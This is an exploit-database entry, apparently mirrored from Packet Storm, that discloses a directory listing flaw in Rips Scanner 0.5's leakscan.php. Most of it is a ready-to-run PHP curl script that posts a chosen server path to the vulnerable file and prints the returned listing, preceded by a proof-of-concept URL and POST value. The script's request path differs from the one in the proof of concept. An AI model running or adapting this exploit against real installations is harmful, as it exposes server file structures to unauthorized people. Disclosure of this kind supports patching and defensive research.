Lucene search
K

Rips Scanner 0.5 Directory Listing

🗓️ 24 Dec 2015 00:00:00Reported by Ehsan HosseiniType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

Rips Scanner 0.5 - Directory Listing Vulnerabilit

Code
`<?php  
  
# Title : Rips Scanner 0.5 - (leakscan.php) Directory Listing  
  
# Vendor Homepage: https://github.com/robocoder/rips-scanner  
# Date: 24/12/2015  
# Software Link: https://github.com/robocoder/rips-scanner/archive/master.zip  
# Version : 0.5  
# Author: Ashiyane Digital Security Team  
# Contact: [email protected]  
# Source: http://ehsansec.ir/advisories/rips-leakscan.txt  
  
# Vulnerable File : leakscan.php  
  
# PoC :  
  
# http://127.0.1.1/rips/windows/leakscan.php  
# POST : loc=/var/www/html  
  
# PHP Exploit :  
# exploit.php http://localhost/rips /var/www/html  
  
$target = $argv[1];  
$path = $argv[2];  
$ch = curl_init();  
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);  
curl_setopt($ch, CURLOPT_URL, "$target/a/ri/windows/leakscan.php");  
curl_setopt($ch, CURLOPT_POST, 1);  
curl_setopt($ch, CURLOPT_POSTFIELDS, "loc=$path");  
curl_setopt($ch, CURLOPT_TIMEOUT, 3);  
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);  
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);  
curl_setopt($ch, CURLOPT_COOKIEJAR, "ni");  
$buf = curl_exec ($ch);  
curl_close($ch);  
unset($ch);  
  
echo $buf;  
?>  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation